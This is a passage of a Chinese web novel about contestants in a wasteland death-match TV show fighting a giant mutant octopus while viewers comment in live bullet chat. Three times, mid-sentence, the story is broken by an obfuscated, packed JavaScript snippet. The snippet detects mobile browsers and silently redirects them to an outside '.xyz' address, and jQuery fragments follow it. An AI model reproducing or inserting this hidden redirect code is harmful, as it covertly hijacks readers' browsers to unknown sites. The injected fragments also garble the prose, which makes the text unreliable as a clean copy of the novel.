青黛低头看了一眼被吃剩一半的卷毛男，又扔了一个照明弹，命令最后几个人撤离。 等那些章鱼再次张开眼，恢复正常视力时，地下室只剩了青黛一个人了。 吃过人舔过血的章鱼似乎变得有点不一样了，比之前狂躁许多，连移动速度都变快了，开始发疯似的涌向青黛。 青黛不急不缓地在地下室绕来绕去，把章鱼们引得几乎布满了地下室所有的角落。紧接着，她打开头盔里的强光遮挡镜，拉开手上的照明弹，用自由女神的姿势大摇大摆地走出了地下室。 出来后，她连头都没回，直接把即将燃尽的照明弹和一颗刚拉下保险栓的手·雷一起扔进了地下室的洞口。 轰隆一声，地动山摇，地板被炸塌了。 青黛身体一倾，顺着打斜的楼板滑了下去，滑向了那头最大的，被炸断了不少触手的，已经发狂了的章鱼。 “大意了！”青黛死死抠住楼板，无奈道。 11. 废土逃杀11 演播厅里的专家正在点评变异食人章鱼的特性。 老专家一脸兴奋道：“变异章鱼用吸盘进食人类这个行为，真是个伟大的发现。因为绝大多数章鱼都只吃贝类，但……” “把那个老头的镜头切掉！女死囚都要挂了，谁要看他叽叽歪歪说什么章鱼的食谱！”汪泰初的声音几乎把导播的耳膜都震碎了。 导播很是听话地把画面再次切回了现场，为了制造宏大的叙事场景，这次用的是无人机的镜头画面——青黛挂在楼板上，脚下就是无数翻滚着的章鱼。 观众们屏息凝视，无比紧张，生怕他们的新晋女神就这么创业未半而中道崩殂。 节目的实时弹幕不断被【别死】刷着屏，除此以外，没人说什么，大家都看着画面，祈祷着那个转折。 按理说，这个时候，莫之臻应该跳出来，纵身一跃拉着青黛的手臂，然后俩人说点黏黏糊糊的生离死别的话——【你别管我】，【我不能不管你】，【要死一起死】之类的，电视里都是这么演的。 但莫之臻并没有出现，他正在二层执行青黛委派的任务呢，但依然有一个人飞扑了出去，抓住了几乎快掉下去的青黛的手臂。 是巫马莎。 小姑娘细得跟麻秆似的，但还挺有劲，竟然真的拉住了青黛。 “你疯了？你回来干什么？”青黛嗔怪道。 “救你啊！我又不是废物，关键时刻肯定要发光发热的。”巫马莎的声音因为脱力而有些颤抖，但语气依然骄傲。 “你这不叫救我，叫给我陪葬。”青黛无奈地看了一眼脚下章鱼的触角们。 “不管，反正我不能见死不救。”巫马莎倔强道。 青黛说得不假，巫马莎体重太轻了，她抓住青黛也仅仅是勉强维持了几秒，俩人就同时向着大洞滑去。 说时迟那时快，莫之臻无比狼狈连滚带爬地跑了回来，他看着艰难攀爬在边缘的青黛和巫马莎，毫不犹豫地冲了过去，一把拉住了巫马莎的脚踝，暂时制止了她俩的持续下滑。 【莫之臻不是在疏散选手吗？怎么知道青黛出事了？有剧本吧？】 有弹幕提出了质疑。 【有个屁，我买了莫之臻的直播，全程在看，一帧不落。他是听到刚才卷毛的死亡播报后，脸色变了开始返回的。估计误认为死的人是青黛。】 有弹幕解释道。 【还真是痴情，忍不住嗑一秒。】 【中间隔着个大那么个巫马莎你也能嗑？】 【你不懂，这更好嗑了。】 【是挺好嗑的，莫之臻从上车见到青黛开始，就一直在看她，看了一路，肯定是一见钟情。】 【你怎么知道？】 【我看他长得帅，从一开始就买了他的直播画面。醇享版看脸。（羞涩）】 【这么刺激的画面都打不散你们的cp脑？真是没救了。】 刺激画面的男主人公此时心情可不怎么美好，因为他的女主角的生命危在旦夕，但女主角松弛感满满，还有心情调侃男主角—— “你这个出现，好老套啊。”看着死命拉着自己不松手的莫之臻，青黛十分想笑，“我现在是不是应该说，放开我，我不想连累你，之类的台词？” “你怎么还有心情开玩笑？”莫之臻使劲使得脸都憋紫了，“赶紧往上爬啊！” 看着无比紧张的莫之臻，青黛收起了不合时宜的嬉皮笑脸，开始往回爬。 “我这么大个人在这，你们说话竟然可以忽略我的存在？简直匪夷所思。” “你现在的功能，就是根绳子。你见过谁跟绳子聊天的？”青黛边爬边笑道。 就在青黛几乎爬回去的那一瞬间，楼板再次猛烈地震颤起来，地动山摇间，楼板被大力掀起，三个人同时被抛向了空中。 巫马莎体重轻，竟然直接被甩到了二层，被那在里的选手一把拉住了，但青黛和莫之臻就没那么好运了，一起掉进了那个大洞之中。 伴随着他俩掉下去的身影，那条章鱼巨大的触手们也翻动了起来。 青黛和莫之臻的摄像头直播画面同时变成了一片漆黑。 一瞬间，弹幕停止了。 观众们仿佛被按下了暂停键，网上一片鸦雀无声，没人相信眼前发生的一切。 良久后，节目画面被【？】刷屏了。 偶尔还穿插了几条质疑的内容：【骗人的吧？这种主角怎么可能第一关就死了？】 【不晓得前面的网友有没有读过乔治·R·R·马丁写的《冰与火之歌》，那本书里，每次死的都是读者以为的主角。】 【这么恶趣味吗？】 【如果青黛死了，这节目我就不看了，伤心了。】 【节目组是来报复社会的吧？抵制！】 此时的观众已经开始声讨节目组了，这些留言看得汪泰初很是烦躁，他也不想青黛死啊，这个迁怒简直毫无逻辑。 甚至之前青黛企图利用节目组的无人机跨越怪鱼群时，还是他示意无人机飞手帮助青黛的。如果他想她死，那个时候，他只需要随便制造一起无人机事故，就能让青黛死得透透的。 说汪泰初完全不希望青黛死也不对，准确来说，他不希望她现在死，她必须去拼杀，去战斗，然后在最高光的时候挂掉，那样才能把她的价值发挥到极致。 汪泰初已经给了选角导演一笔丰厚的奖金，奖励他挖来这么一个天选奇行种。「制造杀手108」办了三十多年，第一次遇到把个人竞技生存秀玩成团体打怪逃杀秀的，虽然背离主题，但观赏性确实高了几个量级。 若是青黛现在忽然死了，自己的奖金就白发了。 【死亡播报响了吗？】 终于有观众意识到这个问题了，在弹幕里发出了自己的疑惑。 【没有！】 【他们还活着！】 【我又开始爱这个操蛋的世界了！】 轰隆隆—— 一阵巨响后，一条大树一样粗的东西从洞口伸了出来，尖头部分挂着青黛和莫之臻。 屏幕前的观众们沸腾了。 「制造杀手108」的收视率达到了前所未有的高度，青黛摄像头的直播瞬间登顶节目销量榜第一。 第二是莫之臻的——观众们都发现了，想看青黛，从莫之臻的视角看最清楚——她永远在他的视线范围内。 【你们别高兴太早啊！看！吊着他们起来的是什么东西啊？】 终于有观众意识到了问题的不对。 【触手？这尺寸不对吧？咋可能这么大？是错位吧？】 【啊啊啊啊啊啊！就是触手啊！好大的触手啊！妈妈我害怕！】 “趁现在，展示巨型章鱼的全景，给这帮观众一点来自大自然的震撼。”汪泰初整个人都兴奋了起来，对着导播大喊道，“要制造出那种巨物恐惧感，就是人类无法对抗巨型变异生物的无力，脆弱，还有，我要让观众有深海恐惧症那种感受……懂不懂？” “懂，懂。”导播嘴上说着，心里骂着：尼玛让我在陆地上制造出深海恐惧症的感受？有病就去治。 无人机开始拉升，还“贴心”地用了一个希区柯克变焦，用最充满悬疑感和危机感的镜头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869621|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效果，把这个“大礼”送给了观众。 果然，看到巨型章鱼的观众都惊呆了—— 【大鱿鱼？】 【那是章鱼，蠢货！】 【有什么区别？都是很多触手。】 【卧槽我巨物恐惧症犯了，要吐了。】 那无比粗壮的触手仿佛是来自异次元的噩梦，随便一挥，所触及的建筑瞬间支离破碎土崩瓦解，只剩一团浓厚的灰雾。 大家此时明白刚才为什么会地动山摇了，是巨型章鱼用触手顶碎了地面，伸进了地下室。 何其可怕的破坏力啊！ 【我滴个神啊！外面的世界已经发展成这样了吗？】 【我要生生世世苟在九幽，我爱九幽！谁也别想让我去地表。】 “给触手吸盘特写！”现场导演下令道。 吸盘里面圆形排布的利齿硕大又清晰，里面的消化腔蠕动着，不断分泌着具有腐蚀性的消化液。 【你们看，吸盘里有东西！】 【似乎有些东西正在被消化着……好像是其他章鱼的触手断肢。】 【它们还吃同类啊？真变态。】 【你真好笑，在用人类的道德观去评价海洋生物吗？】 【现在应该不算海洋生物了，两栖吧？】 【别抬杠了！快看青黛啊！！啊啊啊啊！她在干什么？】 青黛正利用腰腹核心力量把整个身体卷起，看准时机，趁着章鱼触手接近二楼平台的那一瞬间，利用触手晃动的惯性，用尽全力冲着莫之臻屁股踹去，莫之臻直接被她踹飞上了二楼平台，被躲在那里的选手们拉住了。 莫之臻明显被踹懵了，呆呆地看着依然被章鱼触手甩来甩去的青黛，满眼都是迷惑。 “照明弹！”青黛冲着莫之臻喊道。 她的想法很简单，俩人都吊在那，早晚会因为体力不支而死，不如先把莫之臻踹下去，让他执行自己的指挥，这样还有一线生机。 得到命令的莫之臻赶紧站了起来，迅速从在一直在旁边的班宁手中拿过照明弹，开始往章鱼头部所在的方位扔。 巨型章鱼对光亮的承受程度远高于小型章鱼，但依然受到了影响，被照亮的巨型章鱼动作开始变慢，甚至停滞了那么几秒。 趁着这几秒，青黛借力一跃而起，跳到了二楼，稳稳抓住了莫之臻伸出来的手。 屏幕内屏幕外的人统统一片欢呼雀跃。 演播室里，变异生物专家又被请了回来，接受着主持人的采访。 “这章鱼如此庞大，之前会藏身在哪？总不能是突然冒出来的吧？”主持人问道。 老头颤巍巍地说道：“章鱼本就具有拟态的能力，如今进化得更加夸张了，能模仿陆地的颜色甚至质地，它应该是白天就隐身在古城的断壁残垣当中，或者是黑暗的洞穴之中……” “切镜头！切切切！切全景！巨型章鱼开始行动了！”汪泰初的声音几乎喊破了导播的鼓膜。 被照明弹打得无比烦躁的巨型章鱼，用一条触手遮住光源的方向，开始往外滑动。 “它被打跑了？”巫马莎激动了起来，“这么容易的吗？” “还愣着干什么？赶紧趁机跑啊！”莫之臻冲着众人喊了起来。 “别费劲了，跑不了的。”青黛一脸无奈地指了指巨型章鱼。 这货的触手们根本没离开钟楼，始终呈现一种包围的状态，与此同时，它的上半身不急不缓地不断往上攀爬着，最终到达了钟楼顶端，用自己的不知道多少条触手，直接把钟楼包成了粽子。 所有选手都成了馅儿。 12. 废土逃杀12 这章鱼帐篷从内往外看上去无比恐怖，给人一种已经被吞食入腹的可怕错觉。 触手上密密麻麻排布着的吸盘，吸盘上的牙齿开开合合，不断分泌出的墨绿色消化液顺着触手沥沥拉拉地滴落下来，恶心至极。 幸好节目组的防护服带有最高级别的呼吸净化装置，什么也闻不到。原本用来抵御地表毒气的设计，此时却歪打正着，拯救了大家的嗅觉。 虽然闻不到，但那个腐烂到一半的臭鱼烂虾的味道，青黛光是想想，都感觉自己要吐了。 “它这姿势什么意思？”巫马莎看着头顶的章鱼，十分困惑。 青黛笑了：“这大章鱼可太聪明了，它现在头冲外面，无论它触手包裹下的我们如何扔照明弹，它都看不到一点。” “你还能笑得出来？”巫马莎都要哭了。 “它遇到了麻烦，会先想办法解决麻烦，而不是无脑地发狂进攻，这多有意思啊。”青黛说，“看到这么聪明的生物，你不觉得这个世界很精彩吗？” “没觉得精彩，我只觉得恐惧。”巫马莎丝毫没心情欣赏物种的多样性和智慧。 “章鱼的确很聪明，在无脊椎动物中处于顶尖水平，这确实是它们能干出来的事情。”莫之臻感慨道，“不知道这巨型变异章鱼的智力发展到什么程度了。” “再高也高不过人类。”青黛倒不是有那种人类至上主义的傲慢，而是相信，生物的智商再高，也没办法产生人类的狡猾和奸诈。 “有什么能对付它的办法吗？”有人问。 “没有。”青黛耸了耸肩，“而且，在这种绝对力量优势面前，一切技巧都是毫无意义的苟延残喘。” 大家脸上明显出现了失望的情绪。 “那怎么办啊？”巫马莎急得脸都红了，“它就没什么弱点吗？” “目前已知的弱点是它怕光，熬到天亮它肯定会找地方躲光，我们就安全了。”莫之臻道。 “你看它有允许我们熬到天亮的好心吗？我觉得它急着吃饭呢。”青黛指了指巨型章鱼忽然伸向他们的触手。 这触手劈头盖脸而来，像是想把选手抠一个出去浅尝一下。触手的姿势很是多样，不但捅，还横扫，横扫完再卷两下。有时候一根，有时候三两根同时。 选手们被迫玩起了巨型躲避游戏，前后左右闪躲腾挪，有的躲在大钟上，有的跳了下去，躲在底层，都想尽办法避免那粗壮的触手光临自己。 “我感觉它在耍我们。”巫马莎感觉自己要跳不动了。 “不用感觉，它就是！”青黛也被章鱼“撩”得气喘吁吁。 “也不能一直如此吧？”莫之臻手脚并用，狼狈不堪。 “我总觉得我忘了点什么重要的事情。”青黛边躲边琢磨。 “啊——”一个选手不慎跌落了，直直掉进了地下室的大洞里。 所有人都开始替他默哀，但死亡播报并没有响起。 很快，那人的声音从地下室传来：“我没事，这里全是死章鱼，跟个肉垫子似的。” 就在青黛几乎被其中一条触手卷到腿时，她忽然冲着地下室的洞一跃而下，同时冲着莫之臻喊：“我想起来了！地下室，触手，穿洞！” 莫之臻也恍然想起，跟选手们翻译道：“地下室有个章鱼触手戳出来的大洞，能通到外面。从那里跑！” 刚才巨型章鱼是从外面打了个斜洞后，把触手探入地下室，一边划拉它的同胞出去吃，一边袭击青黛跟莫之臻的。 莫之臻补充道：“一个一个下去，别乱成一团，撞在彼此身上，动作轻点，别被它发现了。” 所有选手开始按顺序一个一个离开，想办法趁机下楼，利用地下室通往外面的那个“通道”逃离。有人性子急，选择跳下去，摔在死章鱼堆上，有人则是采用常规方式，走楼梯。 莫之臻带着巫马莎下到地下室时，看到青黛正扒拉着死章鱼，似乎在翻找什么。 “找什么呢？”莫之臻和巫马莎同时问道。 青黛看了眼莫之臻，指了指身边的巫马莎，莫之臻一脸了然，把本想留下帮忙的巫马莎从地洞扔了出去。 “你们不能这么对我，别总把我当小孩！”巫马莎一边挣扎，一边大喊大叫，表示抗议。 “你就是小孩。” 莫之臻扔出去的巫马莎，迅速被班宁抓住了，扣在了身边。 莫之臻转身又回到了地下室，对青黛说：“找什么？我帮你找。” “我在找带遥控装置的炸弹，我记得有几箱啊。”青黛速度很快，此时几乎把死章鱼山挖开了一半。 “那个啊，我大部分安装在底楼了，还有小部分装在二楼。”莫之臻说道。 “你什么时候拿走的？”青黛无比惊诧地看着眼前的男人。 “第一次从地下室撤退时，我觉得这里已经要成章鱼窝了，实在不行就一窝炸掉，于是擅作主张把炸弹安装了。”莫之臻略微不好意思地笑了笑。 “可以啊你！”青黛满意地冲他眨了眨眼道，“那咱们现在把这份礼物送它？” “来吧。” 巨型章鱼此时已经发现有人从地下室逃跑了，它伸出一条触手，卷了一台汽车的残骸，直接把洞堵住了，关死了选手们的“逃生门”，但此时还有快十个人没来得及出去。 其中也包括青黛和莫之臻。 “你们跟我们走。”青黛跟剩下的人交待道。 “走去哪？” “二楼。” “有路吗？” “路不就是走出来的吗？走的人多了，自然就有了。”青黛说到这里，先是想到提出者鲁迅，然后又想到了最佳实践者高德地图，不自觉笑出了声。 “怎么了？”莫之臻问道。 “没什么，就是想到个冷笑话。”青黛摆了摆手。 “你心态真好。”莫之臻说。 “问题是，心态不好又没帮助，但凡愁眉苦脸有用，我会把脸拉得比谁都长。” 青黛穿越前在工作中就是这样的行事作风，无论多严肃多危险的行动，她都开开心心地跟春游似的，为此她总被上司批评，说她嬉皮笑脸没正形。 她其实之前也不是这样，但自从妹妹青果死后，她就开始出现这样的问题了。队里的心理医生说，她受了太大的刺激，出现了解离状态，导致她会对事件做出异于常态的反应。 但她不觉得自己有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869622|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题，她只是感觉不到悲伤和恐惧了。 那几个人跟着他俩上了二楼，其中一个人问道：“怎么出去？” 青黛指了指依然在扫荡的触手们。 “什么意思？”那人一头问号。 “你不会是想……”莫之臻惊呆了。 “对。” “你们在说什么？”那人急得满头汗。 “看着！”青黛说罢，看准时机，纵身一跃，跳到了触手上，用四肢死死卡住触手。 章鱼感觉到了异物，把那条被青黛抱住的触手缩了出去，想看看是什么东西。 触手出去后，青黛选好着陆点，趁着离地最近的机会，一个抱头连续滚地翻，顺利逃出生天。 看着青黛打的这个样，莫之臻也快速“搭乘”章鱼的触手，把自己送了出去。 紧接着第三个，第四个…… 只剩下四个人时，他们开始急了，不再愿按顺序来，于是同时抱住了同一根触手。被“搭乘”的触手，并没按照原先的摆动方向继续，而是反卷了回来，把四个人一起卷住了。 巨型章鱼应该是看明白了他们动作的目的，于是，拿自己的触手当饵，抓住了剩下的人。 青黛此时十分想收回之前觉得动物没有人狡猾的想法。 那几个人被章鱼触手卷着，被肆意甩动着，看上去渺小又无力。 “怎么办？”莫之臻问道，“来不及了，它要从钟楼上下来了。” 它一旦下来追捕选手，所有的人都会死。 “引爆。”青黛对着莫之臻下令道。 有个选手明白了青黛的意图，激动地冲过去，对着青黛大喊：“那里还有人啊！你看不见吗？活生生的人啊。” “他们已经被章鱼抓住了，根本没有逃生机会了。”莫之臻解释道。 那人跟听不懂人话似的，继续站在道德制高点上撒泼打滚道：“你怎么这么冷血？那些人是同伴啊，你怎么能炸死他们？”说着，她甚至伸手要去抢夺莫之臻手里的□□。 青黛飞起一脚，把那人踹飞两米，转头对莫之臻喊道：“引爆！” 莫之臻按下□□的按钮，钟楼里的炸药开始接连爆炸。 伴随着爆炸声，青黛转过头，对所有人说：“首先，这是个杀手秀！不是学校的集体活动，你们不是我的同伴，是随时能拿枪指着我的对手。其次，跟着我一起逃生可以，但能不能活下去看你们的造化，我不需要为任何他人的生命负责！最后，在这种列车难题中，我的原则是优先保证多数人活下来。” “叮叮叮——此次死亡人数4人，总死亡人数21人，剩余人数87人，清点播报完毕。” 播报结束后，青黛看垃圾似的盯着刚才企图阻止她的选手，说道：“收起你那搞不清楚状况的圣母嘴脸，没有我，在这播报里你只会属于前面的数字，而不是后面的87。所以，你最应该做的是跪在地上感谢我，而不是疯子一样大喊大叫给我扣什么冷血无情的帽子，彰显你自己多通人性似的。这么善良，去做慈善家啊，当什么杀手？” 整个钟楼火光冲天，把青黛的脸照得像是地狱来的恶鬼。 所有人都被她吓得不敢出声。 13. 废土逃杀13 随着最后一组炸药的引燃，巨型章鱼的触手几乎都被炸断了，一截截跌落在地。仅剩上半身的章鱼在钟楼上痛苦挣扎着，喷气孔中不断发出歇斯底里且恐怖的声音。 钟楼的支柱在爆炸和烈焰中逐渐断裂，楼梯开始倾斜，章鱼失去了平衡和着力点，从坍塌的钟楼上跌落到地面，把街道砸得地动山摇。 它身躯砸起的灰烬带着丁丁点点的火星子，飞入本就浓稠的烟霾层中，化作虚无。 还活着的选手们集体看向燃烧的钟楼，以及钟楼脚下依然在不断扭动的巨型章鱼，眼神中全是劫后余生。 那画面意外的唯美，像文艺片的ending镜头——所有人都逆着光站着，影子在火焰和灰烬中摇曳，悲凉而壮丽，渺小而强大。 【提醒一下大家，可以开始重新呼吸了。】 此时的弹幕重新热闹了起来。 【牛逼啊！这是我今年花得最值的钱了！】 【没错，这不比那些ai生成的脑残大片好看多了！】 【你们看过之前的杀手秀吗？这次改版真是史无前例。之前的杀手秀就是各种对战。】 【虽然好看，但不太像杀手秀了啊，都是荒野逃生，打怪什么的。】 【你对杀手工作范围的想象太局限了吧。谁规定杀手就是要杀人？】 【楼上这不是抬杠吗？反正我个人就喜欢看传统的杀手秀。】 【这才第一个环节，急什么。】 …… “不把它彻底弄死吗？”巫马莎看着几乎奄奄一息的巨型章鱼问道。 她是受正统杀手训练长大的孩子，从骨子里就觉得：不但要把目标杀死杀透，还要斩草除根。 “炸药用完了，□□也只能伤它，弄不死它的。它这个体积的变异生物，我实在想不到能怎么才能彻底弄死。”莫之臻看了那要死不活的章鱼一眼，说道，“已经丧失行动能力了吧？不然算了吧，太费劲了。” 此时的弹幕就着巫马莎和莫之臻的对话内容，也争论了起来—— 【杀了它！杀了它！别留活口！太可怕了！】 【你这人怎么这么残忍？章鱼一直在这城里生活，忽然来了一批入侵者，把人家炸残了，现在还要置它于死地，你们有没有人性啊？】 【你真好笑，这明明是猎食者和猎物之间的战斗，怎么在你嘴里就变成原住民和侵略者的斗争了？】 【它是无辜的！】 【快来围观，活体古代动保，我还以为这个群体随着动物大灭绝也绝种了呢，竟然看见真的了！】 …… 弹幕里的争吵选手们自然看不到，大家都开始研究和找寻节目组安排的「回家」的车的位置，但看样子绝大多数人都摸不着头脑——地图上什么信息也没有，车票上更是毫无内容，只是印着些漂亮的人像。 莫之臻开始清点剩余的武器和子弹，巫马莎在帮他，青黛则是查看着战场的现状。 她的视线越过火光和残骸，落在了一个人身上——刚才吼她的圣母，此时正低头站在钟楼不远处，似乎是在为死难者进行哀悼。 巫马莎顺着青黛的目光，也发现了那个圣母的行为，她站起身，问道： “她是在默哀吗？为什么她的默哀让我很不舒服？沙天昊葬礼上，我感受不是这样的，我看到大家为他伤心时，我很感动，也很悲痛。而现在，我只想冲上去揍她一顿。” 莫之臻给小姑娘解释道：“沙天昊是为了拯救别人而死，他把生的希望给了别人，有良知和人性的人自然都会为他哀伤。” 他斜了一眼那个圣母，继续说：“那个女人的行为并不是真的在怀念逝者，而是在用这个行为提醒我们是杀了那些人的凶手，所以你才会不舒服。” “那些人已经被章鱼抓住了啊，死定了啊。为什么要归错在我们身上？我们根本没有能力救他们。”巫马莎满眼不解。 “为了彰显他比我们有人性？我也不理解。”青黛耸了耸肩。 “那她也没去救他们啊。”巫马莎说。 “自己去救多危险啊，表演善良比真的善良性价比高多了。”青黛笑了笑。 巫马莎一时间没反应过来：“表演？” 青黛指了指天空中悬停的无人机。 巫马莎顿时明白了，这是人设。 来参加真人秀的，都喜欢给自己弄一个人设，再弄一套剧本，用来被人记住，他们不怕被黑，不怕被骂，就怕默默无闻，哪怕是黑红也是红。这个时代，只要红了，干什么都能吃到红利。 “那她可太不了解杀手秀的观众了。”巫马莎撇了撇嘴。 巫马莎对杀手秀可谓了如指掌，她太懂得杀手秀的观众都是什么人了——大部分是崇拜血腥暴力，混乱邪恶的刁民，偶尔掺杂着几个混乱中立的无三观跟风者。 这种跟风的观众是最遭人唾弃的，他们只是单纯因为这个秀讨论度高，就来凑热闹，既不花钱氪金，也不明白规矩，还会时不时出言ky，比如，在杀手秀中批判杀戮，追求真善美，和平与爱。 还没等那圣母演完，原本已经奄奄一息的巨型章鱼忽然抖了一下，耷拉的脑袋往天上一甩，断肢从原地猛然一撑，山一样的身躯往前一倒，又再度摔了下去。 它倒下的同时，断肢高高弹起，再次落下，竟然精准地盖在了圣母的头上。 那速度快到没有一个人看到那圣母最后的表情，她被压扁在了章鱼巨树般的断肢下面。 “叮叮叮——此次死亡人数1人，总死亡人数22人，剩余人数86人，清点播报完毕。” 圣母死了。 这章鱼费尽心力站起来翻了个面，就是为了再带走一个人？难以理解啊。 所有人都惊呆了，包括观众们，选手们的情绪带着一种兔死狐悲的低落，但观众们的反应，似乎有种另类的激动。 【死得好！刚才我就看她不顺眼了。果然贱人自有天收！】 【现世报来得这么快的吗？为啥我老板还没死？】 【你们好没人性啊。她只是喜欢道德绑架，也不是什么十恶不赦的罪过，至于死了还要被你们踩进泥里吗？】 【听过乱世先杀圣母吗？青黛没杀她，老天都看不下去了，觉得她该死。】 【你们太过分了。】 【还有更过分的要听吗？楼上你要是去参赛，你比她死得还快。】 …… 巫马莎说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869623|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了，在这个问题上，观众们的观点竟然出奇的一致，除了个别特别善良的人觉得可惜外，大部分人都认为那个圣母“死得其所”。 能喜欢看杀手秀的观众，怎么可能是什么大善人？ 而且，这个群体性态度十分符合当下的时代特性——生存环境越严酷，人们越崇尚丛林法则，适者生存，这样更高效更合理，而不是靠什么“爱”来维持社会关系。在这个社会里，电车难题根本不是难题，大部分人都会选择牺牲个人来拯救更多的人。 这也符合青黛的价值观——她崇尚性价比最高的生存法则：在自己能活下去的前提下，能救则救；不会为了少数而去牺牲多数人的生命。 当然，这些前提都是针对陌生人，对自己人，她死也甘之如饴。 青黛在自己的时代其实是个异类，她严酷，冷血，过于理性，是达到了被多次勒令去看心理医生的程度。没想到，到了废土世界，她竟然成了主流。 可见，道德观念是流动的，是会跟随着社会状态而发生改变的。在一百年前十恶不赦的事情，在一百年后也许就是常态。 正当屏幕外的观众讨论得热火朝天时，现场的选手也没闲着，他们开始抓紧时间撤退。 “咱们也撤，别被它缠上，据说章鱼报复心极强。”青黛看了一眼那再次尝试翻身的章鱼说道。 对于巨型变异章鱼的“复活”，青黛倒是没太多惊诧，倒不是她了解变异生物的特性，而是她了解事物的一般规律——这种级别的可怕玩意儿，哪有这么容易死？ 青黛的担忧极有道理，说时迟那时快，那章鱼已经晃晃悠悠地重新站起来了。 这还不是最可怕的，最可怕的是那些被炸断的残肢，竟然有了新生的迹象。 青黛惊呆了，心想：这什么人神共愤的重生能力啊？这种生物就该抓去做研究，这要研究个什么长生不老的药出来，世界会变成美好的人间。她转念一想，觉得不对，应该是，富人的人生会更美好，穷人不一定。 还没等青黛脑子里的想法延展完，那巨型章鱼率领着残肢们，直直冲着青黛而来。 如果说之前完整态的时候，巨型章鱼前进的姿势叫爬，或者叫靠触手蠕动，那现在就是跑了——触手变短了，反而灵活了起来。 这是青黛万万没想到的情况。 她撒腿就跑，试了试巨型章鱼的速度——这章鱼恰好处于可以死咬着自己不放，但又无法彻底追上自己的状态。 这也是最累人的状态。 青黛带着巨型章鱼绕了钟楼一圈，回到了原点，发现之前已经第三次散去的选手们，有一些又再次聚拢了回来——大部分是因为找不到节目组的车，小部分是觉得跟着青黛比较安全。 这次大家完全没了上次在钟楼门口面对青黛的复杂情绪，全是看到巨型章鱼会跑步的惊悚感。 “莫之臻！你帮我引走它试试！”青黛下令道。 莫之臻拔腿就往青黛的反方向跑，但巨型章鱼根本不为所动，死盯着青黛一个人，青黛又被迫绕了钟楼一圈。 她得到了结论——这巨型章鱼知道自己是主谋，是导致它残疾的罪魁祸首。 一语成谶，真被缠上了啊。 14. 废土逃杀14 照明弹还有一些，但绝对不够用来彻底摆脱这个怪物，看样子，势必要彻底消灭这个巨型章鱼了。 怎么搞呢？青黛第一次感觉到被动。 在带着章鱼跑到第五圈时，青黛有了主意—— 她让莫之臻用照明弹控制住巨型章鱼，自己则是找了块空地，抬着头，对着节目组的无人机喊话道： “我现在有一个需求，给我林北城最大的盐厂的地址。” 无人机那边仿佛一愣，但没有回应。 “她要那个地址干什么？”巫马莎低声问班宁。 班宁摇了摇头：“不知道。” 青黛继续喊道：“我知道你们没有资格做这种决定，叫你们总导演来跟我说话。” 汪泰初此时简直怒火中烧，倒不是这个地址有什么重要，他甚至都不知道青黛要这个地址有什么用，但被手下节目的选手这么威胁，直接挑战他的权威和对节目的掌控力，让他极为火大，尤其还是个卑微到泥里的女死囚。 无人机又是一愣，但很快，汪泰初的声音在所有选手的头盔里响起：“你算个什么东西，我凭什么按你说的做？” 按理说，汪泰初可以只打开他跟青黛的通话频道，但他故意开了公放——他相信自己能够驾驭这个女死囚，他要让所有人目睹和见证自己是如何驯服和碾压不尊重自己的刺头的。 青黛的表情十分不卑不亢，她说：“也不凭什么，如果我现在打烂你的两架拍摄无人机，让你拍不到全景，再把在场选手的摄像头都打烂，让你拍不到特写，你猜，你的观众要怎么继续收看你的节目呢？” 主摄无人机听到青黛要灭了自己，从原本怼着青黛的脸拍特写的距离，迅速开始飞升，且呈布朗运动状。 青黛淡淡一笑，抬起狙击枪的枪口，对着主摄无人机的摄像头扣动扳机，一颗子弹飞出，“嘣——”无人机带着火花在天空旋转跳跃，最后摔在了地上。 “哇好厉害！这么黑的天，打这种毫无规律的移动靶都能打到！”巫马莎感慨道。 能不厉害吗，青黛穿越前可是射击大赛的总冠军。 紧接着，她又把枪口对准了备用无人机。 备用无人机明显晃了一下，然后竟然悬停住不动了。大家竟然在一台无人机身上看出了“投降”的意味。 “给我地址，否则……”说罢，青黛做了个扣动扳机的假动作。 动作很做作，很反派。 汪泰初此时脸比锅底还要黑，他盯着屏幕看了两秒，咬着后槽牙道：“好。” 就这样，节目组总导演直播了自己被青黛驯服的全过程。 【卧槽！这辈子第一次见有人绑架的不是人质，而是「机质」，这神一般的创意啊！】 【这女人思路确实牛逼，她哪怕把选手杀光了，节目组估计毫无反应，只有无人机和摄像头能影响到节目的播放和运营。】 随后，导播搜索出盐场的地址，并单独告知了青黛。 “你们走吧。”青黛拿到地址后，第一件事就是遣散选手，“这章鱼是盯上我了，你们离我越远越安全。”说完原因，她又专门交代班宁道，“你把小丫头带走。” 